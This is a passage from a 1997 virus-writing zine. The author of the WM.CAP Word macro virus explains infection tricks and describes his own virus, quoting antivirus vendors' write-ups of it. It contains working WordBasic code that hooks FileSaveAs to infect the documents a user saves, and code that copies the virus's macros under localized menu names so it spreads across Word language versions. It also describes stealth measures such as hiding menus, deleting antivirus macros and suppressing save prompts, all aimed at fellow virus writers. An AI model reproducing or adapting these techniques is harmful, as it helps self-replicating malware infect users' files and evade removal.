ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
How do we solve this problem then? easy, very easy once we understand
what an infected document really is. We cant forget that an infected docu-
ment is really a "template", that why Word doesnt let us change the drive,
nor the directory path, nor the format type. Becoz its a "template" and
templatez belong to the templatez directory! Ok, but what if we make Word
think that the infected document, sorry i meant the infected "template",
is a genuine Word document? this would allow the user to select the drive,
path and any type for the document! right? right! but how?

Easy again, once we understand why Word provides "templatez": to make u-


ser's life easier by creatin documentz based on such templatez, got it?
All we have to do is create a new document based on our active infected
template! in other wordz we have to "emulate" the "SaveAs" function as if
Word were saving a genuine document. Lets write some code to ilustrate.

2.2. The "SaveAs" example


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Sub FileSaveAs ' Our "FileSaveAs" macro


On Error Goto endFileSaveAs '
Dim dlg As FileSaveAs ' Declare dlg as FileSaveAs dialog box
GetCurValues dlg ' Get current values into dlg
If dlg.Format <> 1 Then ' Not a template? (i.e. not infected?)
Dialog dlg ' No, a clean document, show box
FileSaveAs dlg ' Save the new document
Infect(dlg.Name) ' Infect it! go!
Else ' It's a template (i.e. it's infected)
TempWindow = Window() ' Get current window (template)
OriginalName$ = dlg.Name ' Get original document name
FileNew .Template = FileName$() ' Create new doc based on template!
On Error Goto CloseDoc ' Now on: if any error close new doc
GetCurValues dlg ' Get current values for new doc
dlg.Name = OriginalName$ ' Change doc name for original one
Dialog dlg ' Ok, show FileSaveAs dialog box
FileSaveAs dlg ' Save the new document
On Error Goto endFileSaveAs ' Now on: if any error just go
Infect(dlg.Name) ' Ok, infect new document
If TempWindow >= Window() '
TempWindow = TempWindow + 1 ' Get old template window number
EndIf '
WindowList TempWindow ' Make it the active window
CloseDoc: '
FileClose 2 ' Close it without promptin
End If '
endFileSaveAs: ' We're done! "SaveAs" problem fixed!
End Sub '

The trick here is that the "FileSaveAs" subroutine behaves diferently


acordin to the object bein saved. If the object is a genuine Word document
(i.e. not infected), the routine simply shows the "SaveAs" dialog box and
tries to infect it afterwardz. If the object bein saved is a "template"
(i.e. perhaps an infected document) then the routine first creates a new
document based on that active template (which is actually the infected do-
cument itself) and then shows the "SaveAs" dialog box from this newly cre-
ated clean document. This time Word allows to choose the format type, dri-
ve letter and directory namez. After the user chooses the document name
and saves it, the routine simply infects the document, swaps to the window
containin the old template (i.e. the old infected document) and finally
closes it leavin open the new "Saved-As" document just as Word itself does.
If at this point u're wonderin why we created a new "empty" document from
the template, then u probably need some background info in Word macroz and
templatez. The new created document is NOT "empty" as it was created from
a template which was not empty. Remember that this template is really our
infected document and as a result our new created document will contain
the same text stuff as the template. Remember also the definition of what
a "template" is and why we use them.

3. The "MultiLanguage suport" problem


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This is a dificult topic and several diferent aproachez have been tried
and implemented by different VXers in order to overcome it. However as to
this writin, i still havent seen a single *reliable* multilanguage macro
virus. The Wazzu virus consisted of a single automacro: AutoOpen. This ma-
kes it language-independent indeed but it still has the "SaveAs" problem,
big deal.

The "MultiLanguage suport" problem has to do with the fact that MS Word is
available in diferent languagez and flavorz for diferent platformz. When-
ever we give a macro the name of a menu item, Word will actually execute
the code contained in such macro whenever the user clicks or presses the
menu item asociated with it. However if the user executes the same action
(clicks the same menu item) under another Word language, the asociated ma-
cro won't be executed at all becoz it doesnt match the menu item name as
it was written in another language, u see?

For example supose in english Word we program the "FileOpen" macro to do


whatever action. Whenever we click the "File/Open" item, our macro will be
executed. However supose we copy (unchanged) the same macro to another
Word language, say spanish. Under this Word language the asociated file
menu item changes now to "Archivo/Abrir". If we click this menu item, our
old "FileOpen" macro won't be executed at all. However if we rename the
macro to "ArchivoAbrir", this time it will execute just fine. This is
what is known as the "MultiLanguage suport" problem.

3.1. The "MultiLanguage suport" solution (without AutoMacroz)


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The best aproach to obtain multilanguage suport without losin control over
the enviroment is interceptin the file menu related macroz, at least the
"FileSaveAs" macro so we can fix the "SaveAs" problem.

The best solution i came up with after thinkin a bit among the diferent
alternativez was to intercept the file macroz directly acordin to the es-
pecific Word language instaled. This is not a dificult task, however what
proves to be somewhat complicated is guessin out the correct macro name
for the respective file menu item. If this step is done incorrectly, some
file menuz will end up doin diferent actionz other than expected. For ins-
tance, the "FileSave" macro could end up callin "FileClose", thus closin
the document instead of saving it or viceversa.

In order to get the macro namez for the actual Word language instaled, we
must use the "MenuItemMacro$" function. This function gives us the macro
name for a given menu item inside a menu, asumin we know of course which
menu this menu item refers or belongs to and knowin the menu item name or
the menu item position inside this menu itself. Heh are u drowsy? =8-S.

This is precisely the reason why this method is still not 100% reliable.
We must asume fixed menu item positionz for the menu itemz we wanna hook.
In any Word language from any standard Word instalation we have the fol-
lowin scenario (equivalent spanish macroz are also shown):
English Spanish Menu Menu item position
ÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
FileOpen ArchivoAbrir 1 (File) 2
FileClose ArchivoCerrar 1 (File) 3
FileSave ArchivoGuardar 1 (File) 5
FileSaveAs ArchivoGuardarComo 1 (File) 6

This is precisely the method implemented in the WM.CAP virus in order to


work in any Word language. It created aditional macro namez with same body
but diferent name -acordin to the actual Word language instaled- for a gi-
ven macro function. The fact that the macro code remains the same in any
Word language is not a problem. The macro interpreter inside Word is "uni-
versal", meanin that it will execute correctly the WordBasic or VBA ins-
tructionz inside the macroz without carin about the actual Word language
instaled. It needs however to refer to valid existin macro namez or la-
belz. As macro namez change for a given especific Word language, we must
be very careful NOT to include any reference to a language-dependent macro
name inside any of our file related macroz. This is the reason why such
file related macroz inside WM.CAP are just short stubz ("wraperz") that
jump to other subroutinez inside the CAP macro itself.

Before showin an example to the "MultiLanguage suport" method, i must warn


once again that this method is not 100% reliable. It all depends on how
much the user has customized his Word menuz and other setingz. It should
however work just perfect on those Wordz havin the factory standard setingz
which gracely share all Word instalationz by default. Again in some especi-
fic user-customized Word instalationz, the latter method can easily mess up
some of the file related macroz, resultin in unexpected behavior and weird
funny actionz. Here follows the "MultiLanguage suport" example.

3.2. The "MultiLanguage suport" example


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Dim Shared MacroName$(N) ' Array of stringz to hold the macro namez

Sub MAIN ' Main subroutine


[...]
MacroName$(2) = "FileOpen" ' "FileOpen" at position 2 in file menu
MacroName$(3) = "FileClose" ' "FileClose" at position 3 in file menu
MacroName$(5) = "FileSave" ' "FileSave" at position 5 in file menu
MacroName$(6) = "FileSaveAs" ' "FileSaveAs" at position 6 in file menu

FileMenu$ = MenuText$(0, 1) ' Get name for file menu ("&File")

For MacroNumber = CountMacros(1) To 1 Step - 1 ' Process each macro


Position = 0 ' No position by now
NameOfMacro$ = MacroName$(MacroNumber, 1) ' Get macro name
Select Case MacroDesc$(NameOfMacro$) ' Get description of
' macro name
Case "FileOpen" ' Description = "FileOpen" ?
Position = 2 ' then position in file menu = 2
Case "FileClose" ' Description = "FileClose" ?
Position = 3 ' then position in file menu = 3
Case "FileSave" ' Description = "FileSave" ?
Position = 5 ' then position in file menu = 5
Case "FileSaveAs" ' Description = "FileSaveAs" ?
Position = 6 ' then position in file menu = 6
End Select

If Position Then ' If position in file menu was found then..


LocalMacro$ = MenuItemMacro$(FileMenu$, 0, Position) ' Get localized
' macro name
If Left$(UCase$(LocalMacro$), Len(MacroName$(Position)))
<> UCase$(MacroName$(Position)) ' If local macro name is
And ' diferent from english name
Left$(LocalMacro$, 1) ' and local macro name is NOT
<> "(" ' a separator "(.." then
Then

MacroCopy F$ + ":" + NameOfMacro$, LocalMacro$, -1 ' Copy macro to


' localized
End If ' macro name
End If
Next ' Process next macro

The objective in the previous example shows for itself. We're tryin to get
the file related macro namez for any localized version of Word other than
english. If these file related macroz are located in the exact position
where we expect them to be in the file menu (very likely), then the above
example will do its work. Probably at this point u're wonderin what has the
macro description field to do in all this mess. Heh, well, the field proves
to be very useful for some purposez other than simply describin what the
macro does. The macro description field can be used to hold generation
countz and self-recognition paternz, among other thingz.

In the above example however, the description field mite not be necesary at
all. Its purpose is simply to identify a given file related macro in order
to assign a position for it in the file menu. But u could argue this can be
done as well simply comparin the macro name retrieved from the "MacroName$"
function with the required english macro name. Yes, u could, and it would
work, as long as these english file related macroz keep stayin in the in-
fected document. But u see, macro corruption, deletion and snatchin of ma-
cros are common nowadayz between macro virii due to the increasin number of
existin samples of themselves. Becoz of this, the use of the macro descrip-
tion field (whenever posible) to recognize english or equivalent localized
macro namez, makes the virus much more robust to macro corruptionz or unde-
sired macro deletionz.

4. Final note
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
This article was written one or two months after Microsoft released its
long expected Office'97, containin Word'97. Becoz of this and becoz i lost
my interest in macro virii stuff since that time on, i dunno if these macro
trickz will also work under Word'97, i guess not. However, if other VXerz
are interested in these topicz and want to add more robustness to their ma-
cro virii under Word'97, they should consider the problemz described above.

I hope this article could be useful for that purpose. Thats all, folkz.

5. Disclaimer
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
This information is for educational purposez only. The author is not res-
ponsible for any problemz caused by the use of this information.

(c) 1997. Jacky Qwerty / 29A.


WM.CAP virus description
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Jacky Qwerty/29A

This article gives a full description of the WordMacro CAP virus. It can be
seen as a "real" example for the different techniqz described in the past
article named "Macro virus trickz".

Check out as well the virus source code, also published in this isue.

Index
ÄÄÄÄÄ
1. Introduction
1.1 Macro virus hype
2. WM.CAP: a complex word macro virus?
3. In the Newz
3.1. Dr.Solomon speaks
3.2. Sophos speaks
3.3. McAfee speaks
3.4. F-Potatoe speaks
3.5. Norton speaks
3.6. AVP speaks
3.7. Quarterdeck speaks
4. Functional Description
4.1. Removal of macroz
4.1.1. Concept vs. Wazzu
4.1.2. CAP vs. Concept
4.2. Global template infection
4.2.1. Searchin for localized macroz
4.2.2. Incremental generation count
4.2.3. Removal of menu itemz - stealth
4.3. Document, template and RTF infection
4.4. Disablin of AutoMacroz
4.5. The "SaveAs" problem solved
5. Shortcutz
6. Disclaimer

1. Introduction
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Factz prove for themselvez. Macro virii have become one of the most comon
type of computer virus. While the latter sounds like a press release, we
cant deny that unfortunately it is becomin true. "Unfortunately" becoz as u
will see later, macro virii unlike other type of computer virii, are not
really very dificult to write, in fact much of them have been coded in a
very simple way, followin a straightforward programin aproach. While there
could be some few exceptionz to the rule, macro virii in general dont prove
to deserve that kind of atention that other more interestin type of compu-
ter virii mite do, regardin other innovative infection techniqz, new wayz
of residency, improved methodz for trapin file activity and the complexity
of the virus code itself. Featurez which are very dependent to a great ex-
tent on the skillz of the VXer himself.

1.1. Macro virus hype


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
But leavin aside that atonishin publicity surroundin macro virii and now
followin a much more objetive aproach: what lies behind the creation of a
macro virus? is it really hard to write such virusez? why so much hype bout
Concept? well, not really. Much of that fuzz was nonsense, another press
release biten and exagerated by the obfuscating media. I rememeber at the
time Concept was big newz, AVerz started to say repeatedly again and again
that such macro virii were fairly easy to write and that they could be more
infectious and comon than any other virus type. Yea AVerz, strangely tho,
said the mean and lean truth. So now they come, shoot our mindz and then
wash their handz pretendin they have nothin to do with the macro virus
hype. After all, we are the "kidz" so we are the guilty onez, we are the
bad guyz and they are of course the heroez of the movie. Same old story.

2. WM.CAP: a complex macro virus?


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
CAP was a macro virus i wrote durin a bored December weekend after endin
classes for the quarter and startin my xmas vacationz. It was also my first
and last macro virus until i lost all of my interest in this stuff and fo-
cused my atention on other much more interestin virus related topicz :) It
began as a curiosity of mine when tryin to understand for myself how these
virusez worked and how much they could spread for themselvez.

The CAP virus made its way into the wild the same way most other virusez
do. It was writen in a simple 386 machine runin Windoze 3.1, it was tested
in both english and spanish versionz of Word 6, and was finaly released and
spread as with any other macro virus. Yea, it has some pretty kewl featurez
but they are far from bein extraordinary or complex as some AVerz put it,
especialy an AVer named Miko Hypp”nen from Datafellowz (F-Potatoe), a very
nice dude, author of F-Potatoe buletinz, who btw behaved very kind in his
last isue when he encouraged people to send their "opinion on virus writin"
to my Hotmail mailbox. I wont forget that one, Miko, very nice from u, pal.
However it was also the first time i thanked the phuckin mother who hacked
my Hotmail acount, hrmph @&%#..

3. In the newz
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Shortly after CAP was released, there apeared a seriez of increasin reportz
posted on several newsgroupz, especially from alt.comp.virus. Userz were
suspectin about a new macro virus removin the Toolz/Macro and Toolz/Custo-
mize menu itemz from their Word enviroment. A couple of monthz later, CAP
was bein reported at diferent regionz worldwide. Was CAP just another lucky
virus or there was somethin more behind? Well, just keep readin if u want
to know the mean and lean truth. #8)

But before this lets listen to what AVerz have to say about CAP, that mite
help us understand some more about CAP's functionin, mmm.. well, just a bit
coz u know how some AVerz are, regardin their virus descriptionz. They feed
on hype describin how good their AV programz detect virusez, instead of
describin how the virusez really work and how some of them are able to de-
feat and nulify their stuff. Most of the AV programz agree they can safely
remove all (removable) virusez they detect. Factz prove this is not true.
None of the macro AV programz, except perhaps new versions of F-MacroW,
have been able to remove properly all of the CAP spontaneously generated
variantz. And as u'll see later in this article, this behavior could have
been made much more complex on purpose.

3.1. Dr.Solomon speaks


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
(*) Dr.Solomon - http://www.drsolomon.com/vircen/valerts/wmcap.html

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
WM/CAP

This macro virus appeared first in February 1997 and has quickly
become widespread. The basic virus consists of one large macro
called CAP (hence the name) which is called from the virus' other
macros - AutoExec, AutoOpen, FileSave, FileSaveAs, FileTemplates,
ToolsMacro, FileClose, FileOpen and AutoClose.

When the virus replicates, the first thing it does is to copy the basic
set of 10 macros. The virus then browses the WinWord menu items, collects
their names, (they could be different in different language versions,
or customized versions of WinWord), and intercepts up to 5 of these
additional macros - placing a pointer to the main CAP macro inside them.
If there are any system macros defined in a global template before the
infection - they are deleted. The virus also removes the menu items
Tools/Macro and Tools/Customize. The File/Templates menu item is present
after infection but it does not work.

In essence, then, the virus consists of 10 basic English macros and up


to 5 additional macros taken from the menus if they are not standard
for the English language version of WinWord.

The virus uses information from the macro description field, (at the
bottom of Tools/Macro box), for self recognition of its core macros.
These have "F%" at the beginning of a description (FileOpen has F%O,
FileClose - F%C, FileSave - F%S and FileSaveAs - F%SA).

The virus has no damaging payload except that it removes system macros
defined in the global template.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

3.2. Sophos speaks


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
(*) Sophos - http://www.sophos.com/virusinfo/analyses/winwordcap.html

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Virus analyses Winword/CAP
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Virus Name:Winword/CAP.
Aliases: None known.
Type: MS Word document infector.
Resident: Yes, within Word environment.
Stealth: Yes. Empty macros are used to prevent Word showing menu
items. For example, the ToolsMacro (or ExtrasMakro under
German Word) is empty, which prevents the use of the
ToolsMacro to see whether or not there are macros
present. The virus also removes the menu item itself so
that it does not even appear in the list of available
choices.
Trigger: None.
Payload: None.
Comments:
The Winword/CAP virus installs the following macros:
FileTemplates, ToolsMacro, FileSaveAs, FileClose,
AutoClose, FileSave, FileOpen, AutoOpen, AutoExec and
CAP. In addition, the virus will find the current local
language version of the macros and will install these as
well as the English ones. For example, if the virus
infects a German version of Word, it will also install
macros named DateiOffnen, DateiSpeichern,
DateiSpeichernUnter, DateiSchliebenOderAllesSchlieben.

With the exception of the CAP macro itself, all the


macros are very short stubs which either call
subroutines within CAP or do nothing at all.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
3.3. McAfee speaks
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
(*) McAfee - http://www.mcafee.com/support/techdocs/vinfo/vm007.asp

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
CAP.A

Virus Characteristics

This virus propagates by infecting Word Documents in Microsoft WORD


Versions 6.x / 7.x on Windows and Macintosh platforms.
The virus consists of these macros:

CAP, AUTOEXEC, AUTOOPEN, AUTOCLOSE, FILETEMPLATES, FILESAVE,


FILESAVEAS, TOOLSMACRO, FILEOPEN, FILECLOSE

in an infected document. In localized language versions of MS Word


some macros are copied to the specific SystemMacro name.

The virus becomes active by using Auto- and SystemMacros. All macros
are encrypted using the standard Word execute-only feature. Meaning
that the user is unable to edit or view the macro code.

Indications of Infection

Before infection it will delete all existing macros in NORMAL.DOT or


other templates.

On an infected system the virus hides the FILE|TEMPLATE and


TOOLS|MACRO functionality. Warning: It is important not to
use this command, as you will execute the viral code. It
may also delete these menu entries plus TOOLS|CUSTOMIZE in
the global environment. If you are affected by this virus
please read 'Add. Information'.

Virus Information

Discovery Date Mar 1997


Origin Venezuela
Length Not Applicable
Type General Macro Virus Information
Prevalence Common
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

(*) McAfee - WHATSNEW.TXT file from McAfee's SCAN v3.0.2

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
CAP.A

The Word Macro virus, CAP.A, is spreading wildly on all


corners of the globe, especially in the United States.

McAfee's AVERT Team has documented cases of CAP.A found


in: Brazil, Germany, Australia, Hong Kong, Argentina,
Columbia, England, Sweden, Mexico, Venezuela, and Russia.

CAP.A's behavior depends upon the language of Microsoft


Word being used, or if the installation of Microsoft Word
has been customized, making the cleaning of the virus
challenging for many antivirus products.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
3.4. F-Potatoe speaks
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
(*) F-Potatoe (DataFellows) - http://www.datafellows.fi/v-descs/cap.htm

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Computer Virus Information Pages

NAME: CAP
ALIAS: WordMacro/CAP, CUP
ORIGIN: Venezuela
For more information on macro viruses, see WordMacro/Concept.

CAP is a complex Word macro virus. It consists of several


encrypted macros: CAP, AutoExec, AutoOpen, FileSave, FileSaveAs,
FileTemplates, ToolsMacro, FileClose, FileOpen and AutoClose.

The virus contains these texts in comments:

'C.A.P: Un virus social.. y ahora digital..


'"j4cKy Qw3rTy" (jqw3rty@hotmail.com).
'Venezuela, Maracay, Dic 1996.
'P.D. Que haces gochito ? Nunca seras Simon Bolivar.. Bolsa !

When infecting Word, CAP modifies up to five already-existing


menus, redirecting them to the virus code. This creates some
problems, as the names of the modified entries are different in
different Word installations and different language versions of
Word.

When CAP infects documents, it deletes all existing macros from


them. Otherwise CAP does not do anything destructive. However,
it does remove the Tools/Macro and Tools/Customize menus and
disables File/Templates menu in order to protect itself.

WordMacro/CAP.A was reported in the wild in several countries in


1997. It's probably related to the WordMacro/Rapi virus.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

3.5. Norton speaks


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
(*) Norton AV - http://www.symantec.com/avcenter/data/wm.cap.a.html

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
WM.CAP.A

Aliases: WordMacro/CAP.A
Infection Length: 10 macros
Area of
Infection: Microsoft Word documents
Likelihood: Common
Region Reported: Worldwide
Characteristics: Wild, macro, Stealth
Target Platform: Macro
Trigger Date: None

Description:

WM.CAP.A is a virus that consists of 10 macros.

Macro Name Description


CAP Infection Routine
AUTOEXEC Calls the CAP macro
AUTOOPEN Calls the CAP macro
FILEOPEN Calls the CAP macro
FILESAVEAS Calls the CAP macro
AUTOCLOSE Calls the CAP macro
FILECLOSE Calls the CAP macro
FILESSAVEAS Calls the CAP macro
TOOLSMACRO Used for the Stealth Routine
FILETEMPLATES Used for the Stealth Routine

All the macros are stored in encrypted form in the infected documents.
Also WM.CAP.A has a stealth feature which hides the [macro...] menu
item from the [Tools] menu and the [Templates...] menu item from the
[File] menu when the NORMAL.DOT (Global template) file is infected.
This will prevent the user from checking the list of macros which in
contained in the document or template and hides the macros. Once the
NORMAL.DOT file is disinfected, the [macro...] menu and [Templates...]
menu item are restored.

WM.CAP.A has no intentional Trigger or Payload.


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

3.6. AVP speaks


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
(*) AVP - http://www.avp.ch/avpve/macro/word/cap.stm

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
This is an encrypted stealth macro virus. It contains ten macros:

CAP - infection routine


AutoExec - calls the infection routine
AutoOpen - - // -
FileOpen - - // -
FileSave - - // -
AutoClose - - // -
FileClose - - // -
FileSaveAs - - // -
ToolsMacro - hides all macros ("stealth" routine)
FileTemplates - - // -

The virus not only disables ToolsMacro and FileTemplates menus, but also
deletes the references to them in main menus File and Tools. The virus
also disables auto-macros. As a result it is not possible to disinfect
this virus by using Word functions - there is no possible to delete
virus macros, create new or run existing virus removing macros.

The virus emulates "FileSaveAs" while saving infected documents -


it writes an empty document to disk.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

3.7. Quarterdeck speaks


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
(*) Quarterdeck - http://www.quarterdeck.com/quarc/00011/00011128.htm

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
WM/Cap.A

Summary: WM/Cap.A infects Microsoft Word for Windows documents and


templates. It contains 10 macros: CAP, AutoExec, AutoOpen,
FileOpen, FileSave, AutoClose, FileClose, FileSaveAs,
ToolsMacro, FileTemplates -- about 214 lines and 3926
characters of macro code after analysis standardizes the
formatting within the virus.
Author: Unknown
Date of Origin: Prior to January 1996
Prevalence: Prevalent in Belgium, Canada, Czech Republic, Denmark,
Finland, Hong Kong, Luxemburg, New Zealand, Norway, Peru,
South Africa, Sweden, U.K., U.S.A. and elsewhere as of
July, 1997.
Variants: At least 18 variants as of June 30, 1997: A, B, C, D, E,
F, J, L, N, O, P, Q, R, S, T, U, V, W

Macro Functions:

CAP: This macro contains an infection routine which appears to


work in all language versions. Includes code to trap any
errors and ignore them, to help avoid detection. Modifies
user settings for saving documents. Options are set to
fast saves, allow automatic saving, save changes in global
template without asking, 10 minutes between automatic
saves. Removes menu options from Word's menus. The global
template (usually Normal.dot) will need to be deleted in
order to restore Word's normal menus. Disables AutoOpen,
AutoClose, AutoNew, and AutoExit macros, disabling many
other macro viruses, as well as any macro-based anti-virus
protection.
AutoExec: Calls infection routine (CAP). Includes code to trap any
errors and ignore them, to help avoid detection.
AutoOpen: Calls infection routine (CAP). Includes code to trap any
errors and ignore them, to help avoid detection.
FileOpen: Calls infection routine (CAP). Includes code to trap any
errors and ignore them, to help avoid detection.
FileSave: Calls infection routine (CAP). Includes code to trap any
errors and ignore them, to help avoid detection.
AutoClose: Calls infection routine (CAP). Includes code to trap any
errors and ignore them, to help avoid detection.
FileClose: Calls infection routine (CAP). Includes code to trap any
errors and ignore them, to help avoid detection.
FileSaveAs: Calls infection routine (CAP). Includes code to trap any
errors and ignore them, to help avoid detection.
ToolsMacro: Hides the [Macro...] menu option normally on the [Tools]
menu when an infected file is loaded, preventing a user
from using this menu option to see the macros of the
virus.
FileTemplates: Hides the [Templates...] menu option normally on the
[File] menu when an infected file is loaded, preventing a
user from using the [Organizer] option on this menu to see
the macros of the virus.

Stealth Hides the [Macro...] menu option normally on the [Tools]


Mechanisms: menu when an infected file is loaded, preventing a user
from using this menu option to see the macros of the
virus. Hides the [Templates...] menu option normally on
the [File] menu when an infected file is loaded,
preventing a user from using the [Organizer] option on
this menu to see the macros of the virus. High stealth.

Comments: This sample of WM/Cap.A contains the following comments:


(...)
These comments are ignored by Word when the macros in
WM/Cap.A run, and are not displayed. Comments in macro
viruses sometimes suggest date or place of origin,
authorship or purpose of the virus.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

4. Functional description
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
While the description from Dr.Soly is the most accurate from the above, it
still doesnt explain some especific detailz. Some descriptionz are, well..
full hype, some are just promotin how excelent their AV program is and some
just dunno what they say. However no matter how good or bad any description
is, they have somethin in comon: all of them invariably try to hide the
true reason why CAP has become so comon. I'll try to remedy that here by
writin my own description now.

4.1. Removal of macroz


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Whenever an infected document is opened or a clean or infected Word enviro-
ment, the virus first checks its own set of 10 basic macroz from the infec-
ted document bein opened. All CAP macroz share a common pattern ("F%") sto-
red in the macro description field. If this pattern is not found, CAP dele-
tes the macro. This process is then repeated for the global template (NOR-
MAL.DOT). This means that all of the foreign macroz stored in the infected
document and in the global template previous to infection are removed. This
includes any protection AV tool or any other macro virus.

4.1.1. Concept vs Wazzu


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This prior scenario has a strong implication regardin CAP survival. Supose
a given company is bein strongly infected by the Concept or any other macro
virus. Now supose another macro virus, say Wazzu, enters in the company
circulation. Now these two virusez will be fightin each other for survival.
There cant be two "AutoOpen" macroz for obvious reasonz as there cant be o-
ther macroz repeated twice. The final result could be a new "Concept-Wazzu"
variant consistin of snatched macroz from each virus, or simply the same
diferent two virusez collidin with each other all the time. But what if the
second virus enterin the company is the CAP virus?

4.1.2. Concept vs CAP


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Well, thingz will be a bit diferent this time. The CAP virus will spread
for itself to other documentz as with any other macro virus, but it wont
spend its time collidin with Concept, instead CAP will just remove each
instance of Concept from the infected documentz and replace it with its own
copy. If CAP keeps spreadin this way from documentz, it doesnt take much
time to figure out the final resultz. In a matter of dayz, CAP will clearly
"outnumber" Concept, until it almost disapears from the company. This means
that CAP can be considered an eficient antivirus for macro virus, coz the
macro cleanin capabilitiez travel and spread inside the virus itself. The
slogan here is: "Use CAP as your favourite AV program". At this point i can
hear Bontchy mentionin my genealogic tree from top to bottom ($@%#..) X-DD.

When CAP finishes the macro checkin, it has a count for the number of ge-
nuine CAP macroz from the global template and another same count from the
infected document. If the number of CAP macroz in the global template is
less or equal than 10 (the number of english basic macroz) then the infec-
tion (or re-infection) of the global template takes place.

4.2. Global template infection


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The infection of the Global template allows the macro virus to be loaded
resident inside the Word aplication everytime the latter starts. Before in-
fectin the Global template, CAP uses the comon trick of turnin off the Glo-
bal template prompt warnin when is about to be saved on disk. Besides this,
CAP also turns on FastSavin and AutoSavin, setin the AutoSave interval to
10 minutez. Then the copy of macroz take place. In the particular case of
CAP, the virus infects the Global template by first copyin just the basic
set of 10 english macroz from the infected document. If CAP would have co-
pied all of the macroz contained in the infected document besides the en-
glish onez, the resultz would have been a real nightmare for AV developerz.
There would have been a mix of diferent localized language macro namez in-
side CAP. The very first unedited and unreleased versionz of CAP worked
this way but i decided to strip this feature off for technical reasonz that
i will explain later.

Continuin with the above hypothetical example, supose that a document was
infected by CAP in an english version of Word. Now supose this document so-
mehow travels and infects an italian version of Word. Now the virus would
contain 15 macroz (10 english onez plus 5 italian onez). If the document
now infects a german version of Word, there would be 20 macroz (10 english
onez, 5 italian onez and 5 german onez). If the virus keeps spreadin this
way thru other diferent localized versionz of Word, the number of macroz
could easily reach 50 for a given document havin traveled all over the
world and havin infected at least more than 8 diferent localized versionz
of Word. Fortunately the only CAP version bein released doesnt work that
way. Otherwise it would have been a big kick in the AVerz's assez. #8P

4.2.1. Searchin localized macroz


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
While the latter aproach would have made sense in order to annoy AVerz,
technically it would have been useless and worthless in the particular case
of the Global template infection. Coz after the virus has copied the basic
set of 10 english macroz, the followin step is to search the menu itemz for
the current localized file related macroz and copy them to the Global tem-
plate. After this step, suport for especific localized versionz of Word has
been added without the need to copy all of the other localized macroz from
the infected document. This conjunction of stepz prove to be more efective
than the one discused in the hypothetical example described above. This way
the maximum number of macroz in any infected or Global template will never
exceed 15.

In the past article "Macro virus trickz", point 3.1. (The "MultiLanguage
